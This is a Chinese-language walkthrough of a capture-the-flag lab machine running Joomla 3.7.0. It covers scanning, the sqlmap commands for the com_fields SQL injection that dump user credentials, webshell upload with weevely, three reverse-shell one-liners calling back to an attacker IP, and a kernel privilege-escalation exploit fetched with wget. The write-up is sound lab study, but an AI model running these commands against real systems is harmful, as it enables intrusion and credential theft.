环境搭建:
两个全设置为NAT模式,个人喜欢自定义的。
这个靶机有点小问题必须要修改IDE0:0 (如果扫不到IP的话必须要在靶机打开的时候选择我已移动这个虚拟机选项)
信息收集
端口探测:
sudo nmap -sn 192.168.234.0/24
开放端口扫描:
sudo nmap -sV -O -p- 192.168.234.148 -oA nmapscan/ports
-sV 探测目标对象开放的服务
-O 探测目标对象的操作系统
-p- 探测目标开放的所有端口
-oA 将结果全格式的保存到ports中
这次靶机只有一个flag,也就开放一个服务,应该来说是不好搞的,只有一个方向入手。
漏洞扫描:
sudo nmap --script=vuln -p 80 192.168.234.148 -oA nmapscan/vuln
爆出来一个CVE漏洞 ,百度了一番是个Joomla的sql注入漏洞。
网站后台扫描:
sudo dirsearch -u http://192.168.234.148 -x300,301,302,304,303,305,500,501,502,503,504,505,429,403
扫出来一个后台登录入口,打开看看。
根据上面扫到的漏洞编号,存在sql注入漏洞,刚好有个后台登录界面,那就sqlmap跑一下。
漏洞查找:
sudo searchsploit joomla 3.7.0
那就把它扒下来吧。
sudo searchsploit joomla 3.7.0 -m 42033.txt
cat看看怎么利用 ......
cat 42033.txt
漏洞利用:
爆库名:
sudo sqlmap -u "http://192.168.234.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
我们需要特别关注joomladb这个库名。
爆表名:
sudo sqlmap -u "http://192.168.234.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -D "joomladb" --tables -p list[fullordering]
需要特别注意 #__users 这个表。
爆列名:
sudo sqlmap -u "http://192.168.234.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
说个玩笑话,当时在爆列名的时候一直报错,我一直以为是我们的参数设置有问题,一直在改设置,知道我看见我的表明多出来一个空格,还是不够仔细啊(都怪我不细啊)。
我们需要查name,usrname,password中的三列。
爆字段:
sudo sqlmap -u "http://192.168.234.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,username,password" --dump -p list[fullordering]
保存下来,爆破一下。
那这个目标就明确了,登录后台反弹shell。
上传木马:
找上传点:
李奶奶的,还是没有经验啊,上传点找了半天还不对,最后看一眼别人的wp原来在extensions中。
webshell :
这里有很多种思路,有直接在上传点反弹的,有利用一句话木马连接蚁剑反弹shell的。在这里两个就简单利用一下。
kali中反弹:
weevely generate shell shell.php
贴个weevely的使用方法,方便以后自己查找 https://www.cnblogs.com/4geek/p/13514057.html
然后上传利用
注意左上角给的提示,说我们的index.php在tempate的beez3中待会直接访问这个路径看看。
连接shell
发现不对,那老老实实的找上传到哪了吧。哎仔细又看了看 对比我之前dirsearch找到路径法相template竟然没有加个s,加个s后就可以正常访问了,那就继续弹shell吧。
这个是正常访问的,
weevely http://192.168.234.148/templates/beez3/index.php shell
然后就发现我错了,好像在他源文件中添加东西一直报错,那就自己新建一个php文件试试
芜湖~~ 成功,到这这步提权算是成功。
开始反弹shell,现在kali中开启监听端口。
backdoor_reversetcp 192.168.234.152 4443
蚁剑反弹shell:
将一句话木马写进去
还是老老实实的创建一个php文件吧。
验证一下是否上传上去
成功!!!那就连接吧。
本来想着利用蚁剑直接提权呢,又深入了解了一番,蚁剑建立的瞬时连接,在我们提权的时候四次握手容易断,我这边正提权呢你那边就断了,所有蚁剑只能反弹shell。
那就开始反弹shell吧,这里反弹shell有很多方法。
本来想着用nc连接呢,好像是没有-e的参数,那就用bash吧
哦,那就用rm反弹shell吧,在这把这三种的反弹shell全部写出来吧。
kali中先开启监听端口
nc -lvvp 4443
nc -e 192.168.234.152 4443
bash -i >& /dev/tcp/192.168.234.152/4443 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.234.152 4443>/tmp/f
弹上来了
现在就是开始提权阶段 (这里有两种思路)
一种是靠自己的经验,另一种是靠辅助查找漏洞脚本。那就先谈谈第一种吧
我首先想到的是suid提权
find / -perm -4000 2>/dev/null
然后就是
sudo -l
发现都没用唉,又想着是不是有版本漏洞,说干就干。
看到是个Ubuntu 16.04 的那就用searchsploit查找一下吧。
看这么多头疼啊! 那就一个一个扒吧。
李奶奶的扒了半天,我发现我只会一个提权的....
searchsploit Ubuntu 16.04 -m 39772.txt
哎,就是本地搭一个网页,用刚弹的shell下载下来,
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
必须在/tmp目录下载下载,别的目录没有权限,/tmp是存储临时文件的地方,我们有权限可以下载文件。
getshell:
解压然后利用。
这里一直弹不上来shell不知道怎么回事? 后来发现这就是shell啊。
进到root目录下有个flag拿下!
至此结束!
题外思路:
用辅助提权脚本帮助我们找到漏洞,就在此演示一下防止以后忘记。
贴个连接: https://github.com/mungurk/linux-exploit-suggester.sh
上传上去后改个名,我这里改为exploit,那就开始执行脚本。
发现权限不够,那就提升权限。
那就开始执行了,
我是用了这一个提权漏洞,还有别的我也不会等我下去仔细研究研究。